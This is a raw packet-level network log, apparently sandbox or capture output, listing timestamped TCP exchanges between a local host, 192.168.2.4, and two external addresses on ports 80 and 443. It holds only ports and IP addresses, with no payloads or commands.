Aug 30, 2024 06:17:06.886126995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886158943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886158943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886158943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886181116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886203051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886213064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886215925 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886221886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886230946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886241913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886241913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886261940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886286020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886296034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886303902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886313915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886344910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886344910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886363029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886372089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886379957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886403084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886416912 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886477947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886487961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886496067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886518955 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886523962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886533976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886543989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886559963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886568069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886568069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886569977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886605024 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.887603045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887612104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887620926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887686968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887693882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.887693882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.887697935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887707949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887717962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887743950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.887743950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.887763023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887808084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.887808084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.887834072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887842894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887851000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887887001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.887921095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887929916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887933969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.887938976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.887974977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.887974977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.888034105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.888042927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.888089895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.924913883 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.924926996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.924937963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.924952030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.924962997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.924973011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925029993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925039053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925049067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925086975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.925086975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.925086975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.925142050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925151110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925159931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925168037 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.925170898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925180912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925183058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.925190926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925199986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925206900 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.925218105 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.925241947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.925373077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925381899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925391912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925405025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925416946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.925441980 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.925452948 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927067041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927076101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927084923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927107096 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927114964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927134991 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927158117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927166939 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927167892 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927175999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927186966 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927198887 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927226067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927310944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927320004 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927329063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927340031 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927349091 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927352905 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927359104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927365065 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927370071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927378893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927385092 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927409887 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927437067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927447081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927455902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927465916 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927479982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927490950 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927634001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927643061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927651882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927659988 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927670002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927679062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927687883 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927689075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927695990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927715063 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927716970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927726984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.927740097 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.927761078 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.929692030 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.929708958 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.929869890 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.929877996 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.929918051 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.930223942 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.930238008 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.930291891 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.930299044 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.930340052 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.930691957 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.930706978 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.930752993 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.930759907 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.930794001 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.930988073 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.931005001 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.931054115 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.931060076 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.931102037 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.931288004 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.931303978 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.931340933 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.931346893 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.931358099 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.931380033 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.943178892 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.943196058 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.943240881 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.943248034 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.943387032 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.943387032 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.943456888 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.943479061 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.943516970 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.943523884 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.943531036 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.943557978 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.944001913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944011927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944020033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944029093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944039106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944055080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944063902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944066048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944066048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944068909 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.944073915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944082975 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944087029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944097996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944102049 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.944103003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944108009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944117069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944125891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944128036 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.944133043 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.944135904 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944135904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944142103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944145918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944155931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944164991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944173098 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.944174051 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944175005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944184065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944192886 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944192886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944200039 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944224119 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944686890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944696903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944706917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944716930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944725990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944730043 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944735050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944745064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944752932 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944755077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944765091 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944775105 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944776058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944785118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944792032 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944792986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944808006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944808960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944823027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944828987 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944833040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944835901 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944842100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944853067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944865942 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944868088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944878101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944888115 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944888115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944897890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944906950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944911957 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944916010 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944926023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944936991 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944940090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944948912 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944948912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944958925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944966078 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944968939 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944978952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.944986105 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.944988012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945002079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945012093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945015907 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.945020914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945024014 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.945030928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945043087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945053101 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.945074081 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.945291996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945373058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945383072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945391893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945401907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945405006 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.945410967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945420027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945422888 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.945430040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945430040 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.945440054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945449114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945456982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.945458889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945468903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.945481062 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.945488930 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.945511103 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.968863010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.968885899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.968897104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.968960047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.968976021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969002962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969013929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969023943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969033957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969074965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969074965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969074965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969192982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969202995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969212055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969222069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969233036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969243050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969253063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969255924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969261885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969268084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969291925 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969302893 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969393969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969405890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969414949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969424963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969441891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969443083 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969451904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969461918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969472885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969491005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969491005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969507933 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969516993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969527006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969536066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969547033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969563007 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969580889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969584942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969595909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969620943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969620943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969783068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969834089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969844103 CEST	80	49733	147.45.44.104	192.168.2.4
